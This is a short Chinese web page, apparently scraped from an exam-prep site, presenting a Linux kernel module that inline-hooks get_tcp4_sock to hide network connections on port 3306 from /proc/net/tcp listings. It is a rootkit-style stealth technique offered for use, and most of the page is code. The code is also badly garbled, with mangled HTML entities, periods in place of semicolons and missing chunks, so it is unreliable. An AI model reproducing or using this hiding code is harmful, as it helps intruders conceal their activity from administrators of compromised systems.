Linux下隐藏网络连接的另一种方法Linux认证考试 PDF转换可能丢失图片或格式，建议阅读原文

https://www.100test.com/kao_ti2020/607/2021_2022_Linux_E4_B8_8B_E9_9A_c103_607071.htm 直接inline hook住get_tcp4_sock这个函数就行了，只不过需要重新实现下get_tcp4_sock的功能，在作下过滤。比较简单，代码如下：#include gt.MODULE_LICENSE("GPL").MODULE_AUTHOR("wzt").__u32 wnps_in_aton(const char *str){unsigned long l.unsigned int val.int i.l = 0.for (i = 0. i lt.amp.gt.daddr.__be32 src = inet-gt.dport).__u16 srcp = ntohs(inet-gt.icsk_pending == ICSK_TIME_RETRANS) {timer_active = 1.timer_expires = icsk-gt.icsk_pending == ICSK_TIME_PROBE0) {timer_active = 4.timer_expires = icsk-amp.sk-gt.sk_timer.expires.} else {timer_active = 0.timer_expires = jiffies.}/*if (src == wnps_in_aton("127.0.0.1")) {printk("got 127.0.0.1").return .}*/if (srcp == 3306 || destp == 3306) {printk("got 3306!\n").seq_printf(f, "M: X:X X:X X X:X X:lX ""X] ?%lu %d %p %lu %lu %u %u %d%n",0, 0, 0, 0, 0, 0,tp-gt.snd_una,sk-gt.sk_ack_backlog :(tp-gt.copied_seq),timer_active,jiffies_to_clock_t(timer_expires - jiffies),icsk-gt.icsk_probes_out,sock_i_ino(sk),atomic_read(gt.sk_re

fcnt),
sk,jiffies_to_clock_t(icsk-gt.icsk_ack.ato),(icsk-lt.gt.icsk_ack.pingpong,tp-gt.snd_ssthresh gt.snd_ssthresh,len).}else {seq_printf(f, "M: X:X X:X X X:X X:lX ""X] ?%lu %d %p %lu %lu %u %u %d%n",i, src, srcp, dest, destp, sk-gt.write_seq - tp-gt.sk_state == TCP_LISTEN ? sk-gt.rcv_nxt - tp-gt.icsk_retransmits,sock_i_uid(sk),icsk-amp.sk-gt.icsk_rto),jiffies_to_clock_t(icsk-gt.icsk_ack.quick lt. 1) | icsk-gt.snd_cwnd,tp-gt.= 0xFFFF ? -1 : tp-&gt.snd_ssthresh,len).}}